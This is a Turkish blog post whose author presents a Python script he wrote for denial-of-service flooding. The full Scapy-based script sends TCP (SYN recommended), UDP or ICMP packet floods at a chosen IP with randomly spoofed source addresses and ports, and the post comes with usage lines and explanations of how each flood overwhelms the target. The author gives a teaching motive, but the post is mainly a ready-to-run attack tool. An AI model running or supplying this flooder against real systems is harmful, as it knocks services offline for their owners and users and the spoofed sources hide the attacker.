Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile DDOS Saldırısı !!!

Merhaba arkadaşlar bugün python ile yazmış olduğum script'te gerekli bilgileri yazdıktan sonra hedefe sürekli packet gönderen script'in amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...

Arkadaşlar bu scripteki amacım şuydu.Çok bilgili gördüğüm bir hocamın Ağ Güvenliği dersine katılma fırsatı bulmuştum.Benim girdiğim derste hocam öğrencilerine DOS/DDOS saldırı mantığını anlatıp hangi saldırıların daha kullanışlı olduğundan bahsetti.Dersin devamida ise "mz" adli tool'u kullanıp öğrencilerine spoof edilmiş kaynak ip ve port bilgileri ile saldırılı şekillerini gösterdi.Öğrenciler "mz" toolunu kullanırken biraz zorlandıklarını gözlemledim.Bunun üzerine sadace amacı DOS/DDOS olan bir script yazmak istedim.

İlk gördüğüz gif'de normal bir kullanıcının server ile iletişimi gösteriyor.Burada server kullanıcıdan gelen istekleri normal bir şekilde cevaplıyor.Bir sonraki gif'te ise server kullanıcıdan gelen istekleri çok geç cevaplıyor veya hiç cevaplamıyor.Bu blog'un genel amacı'da budur.Kullanacağımız script'te verdiğimiz count bilgisine göre bilgisayarımızdan sürekli packet çıkartarak hedefi yormaya çalışıyoruz.Aşağıda script'de 3 farklı saldırı türü yapılabileceğinden bahsettim.

  • TCP Tabanlı

    Kullanıcılar bu saldırı'da hedef ip port flag count bilgilerini girerek hedef üzerine belirledikleri count sayısı kadar packet çıkartırlar.Burada ve diğer saldırı türlerinde olduğu gibi kullanılan kaynak ip ve port bilgisi tamamen rastgele(spoof) oluşturulmuştur.TCP protokolü flag'ler kullanır.Bu script'de S,A,R,F tarzı flagleri ayarlayabilirsiniz.Bu saldırı türünde S bayrağı kullanmayı (Syn Flooding)sizlere tavsiye ediyorum.

  • UDP Tabanlı

    Kullanıcılar bu saldırı'da hedef ip port count bilgileri girerek hedef üzerine belirledikleri count sayısı kadar packet çıkartırlar.TCP'den farklı olarak UDP protokolü yapısı gereği flag kullanmaz ve 3 way handshake durumu olmadığı için daha hızlı fakat TCP gibi güvenli bilgi taşıma garantisi vermeyen bir protokoldür.Böyle olunca UDP TCP'den daha hızlı bir protokol haline geliyor.Bu yüzden DOS/DDOS tabanlı saldırıların büyük çoğunluğu UDP tabanlı oluyor.

  • ICMP Tabanlı :

    Kullanıcılar bu saldırı'da hedef ip count bilgisi girerek hedef üzerinde belirledikleri count sayısı kadar ICMP Echo Request packetleri çıkartırlar.Bu saldırı türünde hedefe çok fazla ICMP Request packeti çıkartarak hedefin bu isteklere ICMP Respond verememesini sağlamaya çalışmaktır.

Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
                                        # DDOS.py
                                        # -*- coding:utf-8 -*-
                                        import socket
                                        import random
                                        import sys
                                        import threading
                                        from scapy.all import *

                                        usage ="""############# HELP #################
                                        python DDOS.py tcp  ip port flag count
                                        python DDOS.py udp  ip port count
                                        python DDOS.py icmp ip count
                                        ####################################"""

                                        def SpoofIP():
                                            return "%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))

                                        def SpoofPort():
                                            return "%i"%(random.randint(1,254))

                                        def TCPPacket(data):
                                            #print data
                                            src_ip 		= SpoofIP()
                                            src_port	= SpoofPort()
                                            network_layer   = IP(src=src_ip , dst=data[0])
                                            transport_layer = TCP(sport=int(src_port) , dport=int(data[1]) , flags=str(data[2]))
                                            print "TCP -> SRC IP : {} DST IP : {} SRC PORT : {} DST PORT : {} FLAG : {}".format(src_ip.ljust(15," ") , data[0] , str(src_port).ljust(5 ," ") , data[1] , data[2])
                                            send(network_layer/transport_layer,verbose=False)

                                        def UDPPacket(data):
                                            src_ip		= SpoofIP()
                                            src_port	= SpoofPort()
                                            network_layer	= IP(src=src_ip , dst=data[0])
                                            transport_layer = UDP(sport=int(src_port) , dport=int(data[1]))
                                            print "UDP -> SRC IP : {} DST IP : {} SRC PORT : {} DST PORT : {}".format(src_ip.ljust(15," ") , data[0] , str(src_port).ljust(5 ," ") , data[1])
                                            send(network_layer/transport_layer,verbose=False)

                                        def ICMPPacket(data):
                                            src_ip		=  SpoofIP()
                                            src_port	=  SpoofPort()
                                            network_layer	=  IP(src=src_ip , dst=data[0])/ICMP()
                                            print "ICMP -> SRC IP : {} DST IP : {} ".format(src_ip.ljust(15," "),data[0])

                                            send(network_layer,verbose=False)
                                        if __name__ == "__main__":
                                            if len(sys.argv) < 2 or len(sys.argv)> 6:
                                                print usage
                                                sys.exit(1)
                                            else:
                                                tmp = sys.argv[1:]
                                                if   str(tmp[0]).lower() == "tcp" and len(tmp) == 5:
                                                    tmp = tmp[1:]
                                                    for i in range(int(tmp[3])):
                                                        TCPPacket(tmp)

                                                elif str(tmp[0]).lower() == "udp" and len(tmp) == 4:
                                                    tmp = tmp[1:]
                                                    for i in range(int(tmp[2])):
                                                        UDPPacket(tmp)

                                                elif str(tmp[0]).lower() == "icmp" and len(tmp) == 3:
                                                    tmp = tmp[1:]
                                                    for i in range(int(tmp[1])):
                                                        ICMPPacket(tmp)

                                                else:
                                                    print usage
                                                    sys.exit(1)





                                        

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)